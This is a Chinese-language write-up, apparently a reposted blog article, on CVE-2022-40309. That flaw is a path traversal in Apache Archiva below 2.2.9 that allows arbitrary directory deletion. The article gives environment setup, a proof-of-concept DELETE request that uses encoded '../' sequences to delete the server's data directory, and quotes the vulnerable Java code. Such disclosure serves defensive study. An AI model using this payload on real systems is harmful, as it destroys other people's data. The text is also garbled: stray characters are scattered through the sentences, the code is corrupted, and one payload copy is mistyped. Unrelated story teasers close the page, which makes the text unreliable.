Apache Archiva任意目錄刪除(CVE-2022-40309)

出品|先知社區(qū)(ID:l3yx)

以下內(nèi)容筐乳,來自先知社區(qū)的l3yx作者原創(chuàng)歌殃,由于傳播,利用此文所提供的信息而造成的任何直接或間接的后果和損失蝙云,均由使用者本人負(fù)責(zé)氓皱,長白山攻防實(shí)驗(yàn)室以及文章作者不承擔(dān)任何責(zé)任。

CVE-2022-40309

Apache Archiva是一個(gè)存儲(chǔ)庫管理軟件勃刨,2.2.9以下版本在刪除或者下載Artifact時(shí)波材,可以在目錄或者文件名中注入目錄穿越符,導(dǎo)致任意目錄刪除/任意文件讀取漏洞身隐。

Apache Archiva < 2.2.9

環(huán)

https://archive.apache.org/dist/archiva/2.2.8/binaries/apache-archiva-2.2.8-bin.zip

https://codeload.github.com/apache/archiva/zip/refs/tags/archiva-2.2.8

./bin/archiva console或.\bin\archiva.bat console

可以提前在conf/wrapper.conf添加如下配置廷区,方便IDEA遠(yuǎn)程調(diào)試

wrapper.java.additional.9=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

首次運(yùn)行需要添加Admin用戶,注意需要勾選Validated復(fù)選框:

http://127.0.0.1:8080/#open-admin-create-box

復(fù)現(xiàn)

前置條件是需要用戶擁有archiva-delete-artifact操作權(quán)限贾铝,使用首次添加的系統(tǒng)管理員賬號或者角色為Repository Manager - internal的賬號都可隙轻,其次需要存儲(chǔ)庫中有Artifact

先上傳一個(gè)Artifact到Archiva Managed Internal Repository

可以抓到如下DELETE請求

DELETE /restServices/archivaServices/repositoriesService/project/internal/com.test/test

在projectid后面添加POC%2f..%2f..%2f..%2-f..%2f..%2fdata,這將刪除Archiva根目錄下的data目錄

DELETE /restServices/archivaServices/repositoriesService/project/internal/com.test/test%2f..%2f..%2f..%2f..%2f..%2fdata

入口在 org.apache.archiva.rest.api.services.RepositoriesService#deleteProject

@Path ("project/{repositoryId}/{groupId}/{projectId}")@DELETE@Produces ({ MediaType.APPLICATION_JSON, MediaType.APPLICATION_XML, MediaType.TEXT_PLAIN })@RedbackAuthorization (noPermission = true)Boolean deleteProject( @PathParam ("groupId") String groupId, @PathParam ("projectId") String projectId,? ? ? ? ? ? ? ? ? ? ? @PathParam ("repositoryId") String repositoryId )? ? throws ArchivaRestServiceException;? ? org.apache.archiva.rest.services.DefaultRepositoriesService#deleteProject

public Boolean deleteProject( String groupId, String projectId, String repositoryId )? ? throws ArchivaRestServiceException{...? ? if ( !isAuthorizedToDeleteArtifacts( repositoryId ) )? ? {? ? ? ? throw new ArchivaRestServiceException( "not authorized to delete artifacts", 403, null );????}...? ? try? ? {????????ManagedRepositoryContent?repository?=?repositoryFactory.getManagedRepositoryContent(?repositoryId?);? ? ? ? repository.deleteProject( groupId, projectId );? ? }...}

isAuthorizedToDeleteArtifacts?限制登錄用戶需要有archiva-delete-artifact權(quán)限

在repository.deleteProject( groupId, projectId )中直接拼接了目錄名進(jìn)行刪除

org.apache.archiva.repository.content.maven2.ManagedDefaultRepositoryContent#deleteProject

復(fù)

https://github.com/apache/archiva/commit/930460424c715f52a7cb5eef5b084a7a8ef31fb5#diff

bde5305e671d2bdf9f05df227a6fa706f87b911c28799575537f806a063a9134R95


歡迎關(guān)注長白山攻防實(shí)驗(yàn)室微信公眾號

定期更新優(yōu)質(zhì)文章分享

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末垢揩,一起剝皮案震驚了整個(gè)濱河市玖绿,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌叁巨,老刑警劉巖斑匪,帶你破解...
    沈念sama閱讀 211,884評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異锋勺,居然都是意外死亡蚀瘸,警方通過查閱死者的電腦和手機(jī)狡蝶,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,347評論 3 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來贮勃,“玉大人牢酵,你說我怎么就攤上這事⊙弥恚” “怎么了馍乙?”我有些...
    開封第一講書人閱讀 157,435評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長垫释。 經(jīng)常有香客問我丝格,道長,這世上最難降的妖魔是什么棵譬? 我笑而不...
    開封第一講書人閱讀 56,509評論 1 284
  • 正文 為了忘掉前任显蝌,我火速辦了婚禮,結(jié)果婚禮上订咸,老公的妹妹穿的比我還像新娘曼尊。我一直安慰自己,他們只是感情好脏嚷,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,611評論 6 386
  • 文/花漫 我一把揭開白布骆撇。 她就那樣靜靜地躺著,像睡著了一般父叙。 火紅的嫁衣襯著肌膚如雪神郊。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,837評論 1 290
  • 那天趾唱,我揣著相機(jī)與錄音涌乳,去河邊找鬼。 笑死甜癞,一個(gè)胖子當(dāng)著我的面吹牛夕晓,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播悠咱,決...
    沈念sama閱讀 38,987評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼蒸辆,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了乔煞?” 一聲冷哼從身側(cè)響起吁朦,我...
    開封第一講書人閱讀 37,730評論 0 267
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎渡贾,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體雄右,經(jīng)...
    沈念sama閱讀 44,194評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡空骚,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,525評論 2 327
  • 正文 我和宋清朗相戀三年纺讲,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片囤屹。...
    茶點(diǎn)故事閱讀 38,664評論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡熬甚,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出肋坚,到底是詐尸還是另有隱情乡括,我是刑警寧澤,帶...
    沈念sama閱讀 34,334評論 4 330
  • 正文 年R本政府宣布智厌,位于F島的核電站诲泌,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏铣鹏。R本人自食惡果不足惜敷扫,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,944評論 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望诚卸。 院中可真熱鬧葵第,春花似錦、人聲如沸合溺。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,764評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽棠赛。三九已至栅受,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間恭朗,已是汗流浹背屏镊。 一陣腳步聲響...
    開封第一講書人閱讀 31,997評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留痰腮,地道東北人而芥。 一個(gè)月前我還...
    沈念sama閱讀 46,389評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像膀值,于是被迫代替她去往敵國和親棍丐。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,554評論 2 349

推薦閱讀更多精彩內(nèi)容